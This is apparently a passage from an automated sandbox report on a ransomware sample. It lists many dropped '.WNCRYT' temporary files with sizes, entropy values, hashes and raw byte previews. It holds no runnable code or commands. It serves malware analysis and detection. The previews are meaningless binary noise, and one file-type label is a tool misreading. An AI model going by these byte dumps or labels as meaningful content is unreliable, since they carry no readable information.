                                      Preview:^~..n..d...r....c..<.L.o........8..g.Ty.......{LcFd.-`.ge.u.....`.0Qn.XIg..[)..O....k.z.?.c6..U..6.t...F..'P8......S....x.H..$j.+.&.[/Ic...9O_y..-...XU......K..6........d.f...=A...693......V=.5K.....8..>..bx.q>OM^.H./.e....K8.o{........kL.*v...AZ.N\. f+T...6.{.....Ry.U..........kYu...!..&...G.....IR.......]_6...*)....].....:H{............`r/)../zrr./w.5r.....W..?..........?.Lk.^..CX..RP....^...>...p-2...\...J5e=.|.`,K Y....m.1...(..J....z..@S.k..w...@....<....^J6......Y_S...$.....[...G._....`......m{|.._.Is=...76.f.T..5..D.f.....&J:..L*.Sx...)...).9..v....r..1k2.......Y....Gy33..#..@..u,.k+.mp..X<.<.....i...R...Q...*4.D.~._..6........:.]....mi..M.........I......*.*....M*.+eJ..;[....!G]..4.l.....3GfvP.J.G.St..xn..J.....{ ...}]..<M......K:.1Z..q>...p.u........1.\ ..-..Z..`Ob_s.x...ar...Q.Z....O~j5...i...}A.>.we.~.G..[;6.(.<...d.I..Fv.D..x....%..._,..T....Cb..9S...k7%.([.+....{%..B...HBx>.........I0.m..M...{..<..Z.....W 2.O.^.2..f6.-...r|%H..d..

                                      C:\Users\user\AppData\Local\Temp\53.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.791677751771972
                                      Encrypted:false
                                      SSDEEP:24:EcK78xNLOI0W10xK0InrdTBh661iBRtb+hWQGsbu:pK78xNLr0WOK0WvUTb+hWQO
                                      MD5:4600ABC026D6F4D69A933CEBA5CA1EEA
                                      SHA1:C6AB96ADDE1D477FCB590D94FF30C7A25DB6AE70
                                      SHA-256:08E53A9C6C5BEDA24FA09DE03570B5718A941EA1B6F7879BBBD419AAA1506870
                                      SHA-512:2FCA171AA0C1B9B8180AFDB6485A64919B89C5141D7A95CA11C86C876CD753F60E60D3E7F91E6F1F120A0A07C96300D5F0AF437B3DC43DCF8FFF3B52E3586EF9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..)l.7...;p....u>.....]#.$!....?F.*...{c..k..m..(~.....tr.+`H..3#.q.N..#o".[.X.....C...T9S......y..pE*....;......!.MsF..DH..o...lx..]........3<...6E.1VZ.&m..s.....K.l.._H .6.....Y.P6.>ae{\.I.6.f/.^......$.....h........B{s.;;m.C(nLj..g....vg...^.@....O.....R.......!...PL......).9..a]..&w.d.j.....$.Q..8....HPH....x.b...-g|....n@J.#.s.....;D........l.:;..Q....{.N.G.A{..~$.....k..B#.C..~...**.n<..*...b.u\....@g5...w...2..,......^.5~)u.<F{v.9.!^w....7B@....k.?@.......[.|=...G...<$.4.m.Ch>...:..j.B....,..eN..D6::..U.......Y..B.iO.5.t..\5..g.._c&.e...J..@..\.3.c..T..@T7.$.<..d..$..z.).B.}|&{.zX...1k).V..F..... ...tq]QX4NK..2.9...r..5AB.7..AK.'.VX....\....*mP.....o...6.9...p........;.D_.(x:.5.O.`_..&.*..@.0..cQ...=.Q...`.O...#..........q'@nm.`K..P..#5.Ii5}...E...u.m...EW"..j.:].=0...:9zx...k..).X......n. V.7...?u.Y..T......5{..FsDt............~.=J.?~1.l|.p@.T.h/....\...T...F].e.....;]>....!ZqWW:ON.<.v....... ..)2.yv~'.7c..8....T.L_..p?r

                                      C:\Users\user\AppData\Local\Temp\54.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802716898035887
                                      Encrypted:false
                                      SSDEEP:24:1F+sxjJmJwZSOykjz2YRJSLCH/gqumjUM28llHRnbQrUyi:LzmJYX6L8YqumjUh8lMwx
                                      MD5:F4257265B5BC66F36129AC4BD2E10F6F
                                      SHA1:347AAC1C97A35EC20C3A382D63AD32CBE0B1F006
                                      SHA-256:928FECB8742996779170552ED883A3EC2FD3B16BE3AACD8C0A0B161A62229308
                                      SHA-512:BDE4FC6D3BCEB674937AD84E7C08DE1947E25369DE0F60AD044A321F4545FF611575673D44749142EBEF3E2DD83261771D62E7D94AE8D8B805B936974319D99D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..7...m.....aZ.S.q...sC..}..K[.2..V..v...>9....y..aA. .|].@....5.F1L..!Z~....}xP...%...-L.......A..S.X.AoNC0...5'.{....v.Z{...Vs+f......H....&.S$...;,H..&.2ye....E.?...f.B...x.<...o...A4x.l.-g|.;..w.q$....J.:,. {.b.=..N.oyw.Q..+....._...UY..*Lw.u....`...;|J..V4.=C.{.."....].I|<..%f._ezE...U..J..mW*..........<H.....p.41...Q..mv.n...wWd.}l-0./.z...JK.w.....Fo-w.i#..j.A.....9......... B.`.c"wC(.~..:.....;.\ygP..l!b.\.2.......6....D..d..*...._uc..!-V)..4u|......|.d......2...<.&|al..e......`.4Qi,...n1.\_.G.!.nx.@.+)..0W#r...u.o...,.....K.A...tH.C.......a..R....#.YBZ.<.>f..?v..@...=.4....yN.klU....~.n=..Z1.2....F*h..'.j.t(.S."..W..f./..U....|..]..V4@.)...V......>..s.4...j,2..x6.a(5{e[,.K^D.Z...CtA0.../.n..MD..d=..B...5..5p..q......9.VI...E.%...T:.~/...w.E....2Y.f1."qN`.~.dq./....R4T...&...7..Ud.....#.Ye..{....H..6^..7..L.Y...mQ.*1.....#.......M.O];......G.go{*..%v..TL......Kp<.X....+...o.m}.s..r.H....Q...b.Y.u3.=...7.".|u..:b(.4G..8...W.a*

                                      C:\Users\user\AppData\Local\Temp\55.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.750444774899172
                                      Encrypted:false
                                      SSDEEP:24:OD0K52Ie/wqTd39GipFp2XNqh0C0FvAeFIbRS+1xaFVBw3C6fN46i:OD0KU4SxPTpENaEfnNGkx
                                      MD5:ED326A39A7F802DAF72846A1125A5524
                                      SHA1:5B0F42A40B37DC75071F35CECFDA1D9F0ABC92A1
                                      SHA-256:F67E64086D1ADA503CF393666C7A83DEEF3D209DAE303A98A70B8288A7AF86B4
                                      SHA-512:E7E818550886C4DE2E1A7BF001CDB87BD5F7A1EB386B8C61B9C20D8A1C5967DC621112A568EF85A779C6BD11805E502AD236057E9EEC593F76E7B0ADE2EE2A3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.KH.G.....%vD.....1.<e..kUW.$.xx?A....{K..Z.eS.i[..&].JL1}b.....].'.B..).O...9.(.....l..h.m.mc.P....A=.%N.f.....l.2~."..c.At.u.......Y=J.L...%n.QL..-.-;c..hZ..;..f. .*.P..U.R....L.... iu.g.s.nZ.n.7......FP3|x..B3.<.]....Z.......WP[..%...F..q.O...?x.}].%v.s...[G-.h<...c#..+h..<..D.xJJ..g.;.P...,4.........y........t..1...=...B...(........UoJa=.N...1;..m....7..$..F.@T.~...|....w(.u..b..(\.. ...........h`.~..6By......|....&.1x....u..?.$.....sM...t...1.5^.{D.z........T.3...O...Vg..=..)..4..d....rIP.ck.f..!.{..............g.=.0.h..F...oa..$..].......{I..l...........t..~.\..... ].g.LF.~.*.4q..:..`:.V.Pq.=.].....|..`D.....sUhf.f.'....f....x<`.......t{..t....q....C.0...@G.:5.Nw....H..h..qE.*%.j.S...~E..N.{iw4f2...8.p..A.L..h.%|_,.Z]....TW..ZJ@{..8D..#.`B......N.jh....1.....)....3......Zc./...bi..:.'..B...v.-../..>l*.o..F./............i..i..q7....B..'.u..M_s......j./...N.....U%..3..;..qE'......8......w.T^..A.......2..i..WO..g&sV....9.

                                      C:\Users\user\AppData\Local\Temp\56.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.787446111443531
                                      Encrypted:false
                                      SSDEEP:12:U/V7M6B7nwVHzMGOAiUSlOW6aSLfp6xW975csoYUL+DccGKWMeU4feNLCs8HqTD1:0Vo6V6TcI7mso5L+DxGK1a6LCuwFS
                                      MD5:D8B2296AF6A2EC4A553047BCF5E88C32
                                      SHA1:57BFE87AA64D1710558FEBCEF3FBF4ECAE68C8C9
                                      SHA-256:158E8E46D470FAAC410036CE359B09133EA1B982F064F28DBA9401F370D051F0
                                      SHA-512:4D4EF385731E8DCF2844B383A3E07861EEBE1DC4C6AF1E2C0C50C9AB47E126FCD388D5B5E7436A3369AEF3419FF755260143374A866538363210810A5F5E64E0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..Hh...|O..j..Y..c...k.f.......2...{......1..q.sLM....m.........4..D...u......A>.....6Rf..a..h.3A.P......n|G.q..F..'-4=.U/....a.M#/|..{.bNh:.</..'b.e."..|.....C.@.....Ui].............{.V..|...xy$$.w(......mC.G",..1....o.!.L^{0.a.?.C.\".%..H.....SU.<....Q.-.8......C`..J...(..V-.l..F.t ..'Ml.SU.N<P!^..V.M...........F.G.M..=u..4I(u.M..;.:V.e......x..V'.O...t2=F.K.W.{.PE....".2....ud..{%.Q....V8...7..F.h)'..z.$...w...8.L`\@\....!+....\....x.i..o.....<....T...N...wN=...Y...g..@...).P.IZ.......pA1...e..}.o..!\Gu.F./yC..^>D`..z...E....?..o.....H..7P.....f..!..r..n|........Rr....o3..@tJ.:&5_.E.F(...7..h..5+=......../-.d..3....r."<.f.t...>q.'..6...J...Zp..3S....Z.Q.`..n........?e0..R.Z.EeB.(#.p..................v..l.>......ACj...G.L.7l..0..q.pQY....N..fN.:>O...u..7...=.%'......h...i...!.N.s^....15...d......s...Mv...a.....Z..Z......"....l;."....>..sYw;A.].M.kh.].i@.sS.@t.d`..On..b...99.Y....%...37V._.N.m.o..L]o...."....!......j.'$..*Z.n.P...^...

                                      C:\Users\user\AppData\Local\Temp\57.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8460897455902066
                                      Encrypted:false
                                      SSDEEP:12:Oji0kozhLkOJjN5WPNjf43RVN324dDqrD9cUEC90J12auU625lGHyYr0/Y98M0Wg:gkozW0jGhy39UEnJ0auU9KH+/kV0WX2n
                                      MD5:CBFBEB45F432F19688B601C2567EB71A
                                      SHA1:0594E911E3614E97389B808B072A264A94F4EC0F
                                      SHA-256:6897962C67C0A6E5C9C62CCB605D1058DB9E8C47F82D7348A34BBCCC31C9E304
                                      SHA-512:5E3926B8ECCA2DD4FB0E2D3644A1F0DC84AD86DB8A3FCEACD02522F1B7227C9531E3291C2184EFFDDBF76804D1EFF5B11DD0396EC1F273ED65B6E3AFA90DA39E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..lK...^...L..T.......4..4...H8..w....a.......f.A.>..C...../.,.2....q.D.U.C ..#f.{.....r...)..z.g.pS..&..XTJa..c..z...?..%(..<V...?L...l..B....1.M.0d.`...D.9z..x.k.*XS...Ke.h.S.......<#.,.(..9..\.....Sh..CKg...Q.b.2..x.r.[.-...B...>.+ .'..r.X.......f+P.f...&4...$.@......#~......K......5.1g.b#y..H.....|..2w.6zj..k^0...0.....!c....T.{3..c.((.Z._b..Or...x.....v6.y:9\C..3.Z..........]..n.m.z.....=.y.....!..97..c._..2.iv..w.....)Zbt....{..E..P. 0...A.r...^..............?...lmf.7.L`.p..p.;>.\...S.#.0H....T.=%.=c....7..e.:.Q..%g._-..n.a.4.6..."OP.....}...u.UWQ..`.Vn.-~..V..wU|.'.14..x...WY.D..=...S.*[{....I..7.3..1P..........2.e5....... sRA.].....I\..=..u..f.+..Hh.+H,...H......T....J...p.._,.1..d/.2....$.. r.M..^..,....dJ...+..S."X.vJ.....P.'Q#.........C.=.W)#..BM.4........ek4...~....b..c..i..qt........$%&cU.wI.....w_......?...uI....!.m"B.MT...[N.....Q..)........J.2....E....g.....h..}.m.....@`..\..I..:..Q..6..N....K.... G^.w.

                                      C:\Users\user\AppData\Local\Temp\58.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802514002578943
                                      Encrypted:false
                                      SSDEEP:24:+/cFxuRm01UH7kjsAZM7BCpPteYefOK2WZ6rfJWvjsivVGZfmeu7:+J1UzUM7BCpofOKJ6zkQQjeu7
                                      MD5:61EE380514F0FE5B0B44B6C92616077F
                                      SHA1:4FB0BBF2818F8E809788E2F5DA214893AFEBD57B
                                      SHA-256:733A0D237DB7334305FA7261E85EBBBBB82CD28132767BF433D4123E5EBEAFD8
                                      SHA-512:CD4E456F04B15B1FEDFDAA32B973C253DEA0DFB59BC377CDF45E2FCA9AAF22CC8CE70A8DEB0049AF42148D6B860DADC96432E60727B5BC35007D9F4F22202FF0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:-.uO.Z.1...z.n+x;........!5...}../.....pJGp`...=l.....Ce......y.\...Ot..0.t....s.f..L...<.Y.n0..x..d....|v;.Y.....m.5.gU..4.[......V.....St...S...V...!.....?..kHb4.9CCT.....2.?...)...gjm.w3.x...... u..y..&..9.$.|....V.0..&..nD..&....<.#....?T~....K.^wt,.e.g.[..L.....O..9.81.......h..nye..".....UX.)...'.....I...gbh:.Sg..]A..8.....j...........?...!1*.Q..o.Dm.......Q8......71Q......H...l..|.../.$o.....W6"\.F5..&..X.."./...f.5f..7Y..Jo...v.>..A{.9P.!..[...74MoGr'.`.b..;c.....;...BA..L.0.m..!N...$........X=....{..g..?.U.uL5.0..0....9.e....i...A.\..#Ws....!=..b..so..v.v.k.b../..x.x.GG}.#h.......7.d..e..9....W.{...cm)....M....QU...d....2.K..6..5..D..s.f"}29e.s.KC0.K..u..Z....^.z.y.R..s...@D=r,..$..t..~...Q.....,n....ky..D..../i.h..@O.3..O.....t...........?.....lDN..%+...o)_...y;bn....Zg.]9.@........]..._..0f....gA.I..;fJ....x..D..lRN..,.f~..\...@.o..Ie.....{.s..lE..5....B...9..).....p5...*.4..b.....{.?.......l0K.&..p.A$...U...K.

                                      C:\Users\user\AppData\Local\Temp\59.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.800383485241748
                                      Encrypted:false
                                      SSDEEP:24:XYaRzVr3XxKsCyG+ZB3ZSOSSWdDxEsWlxn8iWVK1kQZE:XYaCUG+dSOSSODxEsWv8RIw
                                      MD5:DE42BA50E0FFC74D98C41BA3F3125F41
                                      SHA1:239B438DAC27D9F21FF8049B24A740F09ECC8D81
                                      SHA-256:19ED83437BE0A40152FA2A1B43D480E5431697E30F3FC63E54C3398A5863F0A8
                                      SHA-512:A9FEBFC25F7AE9C2836F00BD5F6F901AB6DB11322BF0ABB63A6CCA6754B0033972B8CB6FA848D7FE19C9F1A2E9C6BCB5BFA38785FC5707A2D2F2EEB41B8F8164
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..nV|(W....4+Q.W....Ex.|......F...xiSN..@0qX..>uz.L...z.:Z.M(.....2...l6..&....T.....x(`..I...$e.~.!.b.C...m.."......cJ...R4...)...K.p`i.Q_@M>.5]5..U......b...........v...[....gV.e9Qp.x...O.Mr..F.f.2.P...p..28......{..4.3.YM........\}...zI.e.a..u...}.....'C.N.,.u1.......X..m:0.l...C...``_.{...#?....J...=...a......X..<$~....T1....@.@......i.b.6...7c.....@Z........k.i....L]8N..d...._.'.?..6...r.P(6......0.....*...>.G...p...|.qk..d..........{...f3v...|H,U.Zdq..5.#..w..Q..62..f2....".R.O........"..)....>..;...*/O..*\.._..I..7.k.f.2.n@.0.. mov.-f...M..8.....Tp..5.F..m..=.......5%d..=..@r.......v..u.w.q.L...x8.`...."`..H$..{o.3...r.?{..%]..%I.^....h..O..p..?.L/R-.....1.'.33..B..#U...,..#v.f.H...e...;".r..........U...\x..)O.....@..`p.v...n..R...x".BpJ....Y...L ...L..O.b'.:..4.k.Bn&...#k...S...Hx>..;......!...x$S.!.L4.,.q..n!..0......|x.....6e.....).u.Tf.~.~[j...?7.X..-c..N..BR.....d.w.I...s9T..>.mRY..3.....z+...9ev>...O.Z@.........X#

                                      C:\Users\user\AppData\Local\Temp\6.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.79495870278326
                                      Encrypted:false
                                      SSDEEP:24:sqBQIvJsCkxqQzX1d3ivXQGihC0nvL7o5QMLWOXpqJ3z:cIvJyqoFxigb4ciyum
                                      MD5:2E473B4DCE730D1361D70992F92F9AE4
                                      SHA1:06A31F5FF2A302FCDCD0F8F07F32D5AE2671110B
                                      SHA-256:77278744E7C699E4F0D7173D671B371306723683CF5F132084E5B00F1ADEF5CC
                                      SHA-512:5BF1E3DDF2C0F1C3440B9BA1CF2AF5B98908EE44F0D66E2778E48FE53B8BBC56E2091AADA5F67C254A7720061D441EBA8E5F40A63E873EEB3BE8751FAFD73E81
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q0.,/.2.o..R..qw0.U......7..;.......C.... .kBk.^6....A..;.-v....bFL."_U.]...E_s.....I..s.)..$.J=m....z.#..,..Dj........|ANr..C+f.........H.0..s#v<..a.5....>...j......x.N........B.:..u..S;..f..o.....S.E..X.xm..3.m^...+..E...h.(_..iJ~...n......./.._...v.....%RA......i8.,|\v.i.......L..e`s>..tGJ../..}.#.a^.T....r.......;.&.W"w.x.v.........p.S.-......sIHKU.9'...JLs..t2.......>.V7.`x.>\..7.<.,./.....0. .....m.M..y.#...J.[#.-..I...Pg...R..J._zJ..p.p...9.+.k..H<+EG\..g(>.x.J....w.0&...q..f^.z.XQ...W.7..z.r..."4...2.>......{"-.Z..(....e.-..RH...Kvi#..8.7.m?..uN!.[......rG..Ct....;,?pV.)...m.#4....R...VO...k.w$a....n.Z..l5.{...$.l..9Z2L.E..$.^.....F{X..........}=z..../H..{.uS.aA...m..;.Z)..d.Z.3[ k.A....#W..}3C:......v.......X..g|m...........M,.`g._P~....k.?...-X"..w......8l.L...J....-m5.z..Q.K.....b....8A...w.j{Q.}..-..E....].'~.zX..{e..a...|.EDt..\!...IA.f.=.G.<z.....X..{......y...'....N3..LY B-0.}.H.U.?...;.....M.H..8.q.P;...O....'..`zS....-.

                                      C:\Users\user\AppData\Local\Temp\60.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:GRand Unified Bootloader stage2 version 143.120, installed partition 2203131636, saved entry 1531265998, identifier 0xe7, LBA flag 0xd4, GRUB version V\357T\266\344\314\234\314\001\363\270|\347*\307\344uOJ\017\004\345K\\022\260\023\351\265^\227I\034\227/\204\016\011\325\326\231._\366\204`\340\340\022\265_^\257\260\234AQ,\354\246R\327\260+\303S\021?\\331\020m\310\234\355d\304B'\347w\224\02268\334\254=>\203\301\252e\201\350e\343\005\025z\364\026\003\204g\340\331\372\333\217\233l>\3528\027\303\317\346\250\27441\236\326=|, configuration file \314\234\314\001\363\270|\347*\307\344uOJ\017\004\345K\\022\260\023\351\265^\227I\034\227/\204\016\011\325\326\231._\366\204`\340\340\022\265_^\257\260\234AQ,\354\246R\327\260+\303S\021?\\331\020m\310\234\355d\304B'\347w\224\02268\334\254=>\203\301\252e\201\350e\343\005\025z\364\026\003\204g\340\331\372\333\217\233l>\3528\027\303\317\346\250\27441\236\326=|\353\332\2401\372
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.839864630889735
                                      Encrypted:false
                                      SSDEEP:24:7x708hR9Z4Pkv2cTT/S3N1PjrTRq6Adwxog9BDweTVW2BWUEEeUM:977V7v2cn/kv1q6Aax99BDTDBWCpM
                                      MD5:AE7493B7A96EDC6F213BA8A7EB547537
                                      SHA1:E779273EA6B38119C4F35996BCB5B68A09234E8C
                                      SHA-256:F13EEA94A479E5F4D681A1C96518699FD5FAC799C0EFFE8E93B6A100C9F07396
                                      SHA-512:CBA6553C28C51BB193EBA2FA5F39265F477E9347936665066794337A397703C7B62533CED199EC26DA1A01D93FEB7A4BCD3A9A52592CB3EE7C65037EAB274FCB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:s....#BA\.E.....T...z.q.,...CB....EI..d..3.H.y..1......[..ZC..f.Q.j`.M.g..tBC.....Bc..-.1.?@....3"qX..\.... ..).v.]B..|...$%.t........eeXp.V......$.sr........!......iUp.Q.a..<.93.}..&T..&..$R4X.dc..G.z\xP1q...J1=4A+.#{..z."[:.5...A.wJ....EU4.-..../.....M....G.RS.)....(B.s]......,.. ...QI.7U6....s).9?`..~.H......Gr._...(.._.F..>`+.....z....Gg....q%....F..x#..t.Q.oZ ..m..&..T.......#......E..$L...K.Ky.....&9..2....2........V/VS.Y\.M...fi..#...2...7...b..-.'.&..!......(W/..?.L..pT;..x..Q..CE[..V.T......|.*..uOJ...K\....^.I../......_..`...._^...AQ,.R.+.S.?\..m..d.B'.w..68.=>...e..e...z....g.....l>.8....41..=|..1....0..h.>R.|2W#.z'..;(..1.....}U...E..=r....!0c.j.U.../D.O..ON.'.{w...y..u1.*.......}.Jz.n...."P..U....R.`.F..[w...OVqp..'.8.Z..Q.5...a.g0.]9P...'.y.A.Z....y.......n..7..cH;.8;(..A.fnS#jN.@m..o.N{.t.X<c.......g..m..._.S&vB.R..=.,.?.P~.t6.^.[............o.>.......S..Q...mbc..7oiG.zlL^..h...HUvL.>.20.z...q.c;?...lP..t.E+:..

                                      C:\Users\user\AppData\Local\Temp\61.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.801732328230126
                                      Encrypted:false
                                      SSDEEP:24:wbHm6/WYlSxfVkQ4PClMSiVCtKIbRLrhdXQ042nQHs/0LSF:omaLofVF4PNZCYIbRLXB4DHst
                                      MD5:D11A24CC02DBA3B2913C6F66D52ECC9D
                                      SHA1:5E15342420A1AD744285B70EE5086BCFDBEB8462
                                      SHA-256:772E36516F3C871DAB4D229BD627D1BD48460E4509B841CA36D0ED06987C4CAC
                                      SHA-512:3555D176D176C78248B75641BB9EF08E8CA00E4791CB698001954E3D310783457E577A5081A49CAAC5F5397EDD36F2F70E65E36B011A553A6A46A6891BDD6D5E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..8Kzo..b;..g...7.%.j...W=PL.'1.yt...y88.j..3...'...#.R.5..u.........E.r.f.T.......3.G.H@.$d..:Uk.Kpo2..Y.^.$.SK'...=.....,.^b..dC.B...n.q.>....&Y...|g^..+z<n..l.J)..O..+.8...h...L,.St..0...Q.u<9q}.D.CVJ..[.VV]:I.[[.5...S...F.~........T....Jf..zc>... ..H.....9..?~/...&{oY.].F9....?]_o.LpR.G...]c....,.O@>p...j.^...P..p.... ....8..yV...3.c...lu.V .F.Z.GF.)......I.2.M[w...r.......O>z_.UQ.\S_pv.o..?Kg*C.<..h...zp.\`h..>j#...s.....+C]....(..p|_m.Xz.{!....d...^kC5I'..L2._.......g..r.4]..\..g{P.}..._.a%..sH.^.....fv..7.........Q.........`'(mwx...a....|.K!.y....O..C..|r......9t.......V...,....]......*Y...f......i...p...8...y.!..|...O......5...t...f..h.*|T.ds......i.eJ.d......+s.]..2...F.........?...=...........g..... ..X....\.%...S......v......qU,..h.....0k.....Z_b......!..S.=......c...EI..(8...e..p*.._gglw..,.+U.|..q?....!..*...7.T..f.d._.S\.Z..z..c...8@......V.|.i...&.ilw.U...U..Y.@../.....4~....bJ.f|.5...v3..~.X}..zj....p.k..._

                                      C:\Users\user\AppData\Local\Temp\62.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.794908565832732
                                      Encrypted:false
                                      SSDEEP:24:N3QJ4fkHsOOij6rOoYR7yLWphm9c0P9rHKbA7t3YXQ:TfkVj+OPe4Q9CbA7t3YA
                                      MD5:8FBCB932AE9BE41BAB51BCC14D6B2B5C
                                      SHA1:900C91D0346413637261659AC7D6A780BC74B868
                                      SHA-256:0A63D96E7086696AF55C519E221E0E0DF154E06588EBAAFB1BC5728CE69B7ECB
                                      SHA-512:737DD7FA309DA283930C31678507F2D49F5047F4C9F06A17F8A67F35B524F0A103CB7623D9EBDF493CEA8CE0E0A9D5C1B5FC949A4DE19D6DA7E4273454469C9C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...c.<.."S.N%<!..$..P.wOT.\.m6....H3*.8#.a.2n_N]..I.*;?-.2jk..-S.D9....... ...]K.6..3.v......l5.{..8.0$=..j...7Q.-c..X.v... 1....Q.@..8.6..8.<y..lQk...K...7).. ...U...y.....s.Gp.!...o2..J.R.q4.E.#..E.m....&|.4#.....A.n....m$.L.R.....THss..I.....`......!&v-a1..D<...s....2f....t.*[...6P...C6?.pS0......~..fH..]..^....<.E.U...8.H...Z..3E..$....%t....fS.....2.gE..``.x.#|O.P[....c5.G.....&..SS.....SA.[.....u=.F/f.u.6..O..@.../....w..S.P....p......\.u2..d......).Z....q..?.c..j.{;....A.MSG)...&...%....Z.|.....-...>..b.<.....UK;e...dMu....K..ud...tBvW..G...e$.Fq.q.+...bT.l{...P.0%..>.@.m.....6..$u......Q_.Q.......z........|.^.Gs8..x..E{$..~.HQ..NZ'.....92.v.......{.L.z.*...H..'X...*@....n.G"*.m!Q..8..k71...;.,.d.K.]FH.Q.;X.V.9..yv,.o..;.yy............U.........t.S..\..._^...."i..@..@b.~.9E.ce=..$.\.c.MK;Dj.....[.{.7<.Z.9.....\$.....{........(..g.....&..L..//....b..{P.}#.g|.w9?;....&.?......r>.J...W.t-.n...'tV'...e....&l..{..._2.T-[xw..vY

                                      C:\Users\user\AppData\Local\Temp\63.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8166291126363925
                                      Encrypted:false
                                      SSDEEP:24:MXZBwxgssRuDv72rvxVqQN9tB5XeR0EdwhS8mh63P:8Xk/muLmHqQPtBxeR0Gh63P
                                      MD5:8623393843A8800197405DD7BCB9C197
                                      SHA1:69291A07B2CF113F9E30E9E733809828147096AC
                                      SHA-256:5FCACBB7C25A9D1BE298088945E5B1CEF2C03C503DF7E7B5AED4D658969DE547
                                      SHA-512:FCF26FE8928DEE811E51EB4E1F3A19A3673DC4644F21DD22DCBAB20AE1A8113E3248F786CDDC9A0C5BCC81C02DB9EC6793CF73C1827BF18DDE67DBA03A690B4F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:P.y6QsH...(..4.(.e....i...rt|.:...1..,<.!.?.#+M..W...E.Me..>p.~r.PX.f`...BW....Q..k*.B4.aa..G*TA!`#.n.>....a.#....[.f..K....{..z....Te....qNW0...W9.[..U._@...x`....xoSX.0}Wf.....2.....ki.....-.3...x..Q..;t.%.3..C....^..b.n``.^.I..cm*.2r.....+3K...._$A.....d.p..blro...ER..9.\.I`.h.....n...U..<.........A...3...%..d.p...]<.n.k...k......<........<...R#.;...A....H..{.I........J..s{?.....t...0R.....+Z..>...0.....3.,.5.0X...Kzj*..T.OVS.R.X.zLG.....b3.........|7qgR..g{...Y..@.)p..hKe.V...........%,.<U..P.8f..I .....w.h.a..?...2Y....1.NC|f.4..W9...5....flo.../...n..V.g.U8:....,'4j,K.............gm.R.a.Sc........;.5......d~./b..=Xl...(.....Q.sX.ac...M......x.....%b.)P.O.*.....mW.He.2n.....e.mP.........8.h...K....A.h3l-....&dM..~ZFe#.A.Y...'..V...}..@.....]....K.5/..H.:......!T..t..A..$.s3\.r..}........-.......A-..?D.?/.5.Y..N...Z.TL..z..|.c"...}....^'.i..q..".2.FS.q......80).L4.WZ..~D_..Di..b.<.v..j\wL...(.Wf.........dnu`G.x..".j?..s.`.s.l~....R..."

                                      C:\Users\user\AppData\Local\Temp\64.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.814218940564255
                                      Encrypted:false
                                      SSDEEP:12:lPdj4DMcWb0apnm8P5b12jlU5vFZ9V0tJlPdTFaczCXDWDGN4IrnYXNsJoglM9CF:RdcGBm6z9VYQ7XN9Yd6sC0a//CrC
                                      MD5:70B62284E8CF56FA65E9A9C2229A6D01
                                      SHA1:B7DA9081E07BCD9F379FB13815634CD3F0C0DBDA
                                      SHA-256:6FB0B56D5BCB57A024A2BC1053E41F45427DA1C934CCCDA0E17585340053340F
                                      SHA-512:A04B0C972D67295A525D7B99ED3BBA10B6686EF524EA324B71F79E115A82FE4A5A5B6F2816BC90507C2CEC2D621160FCBB3F7D85BA11DD13E5ED4189392D87AD
                                      Malicious:false
                                      Reputation:unknown
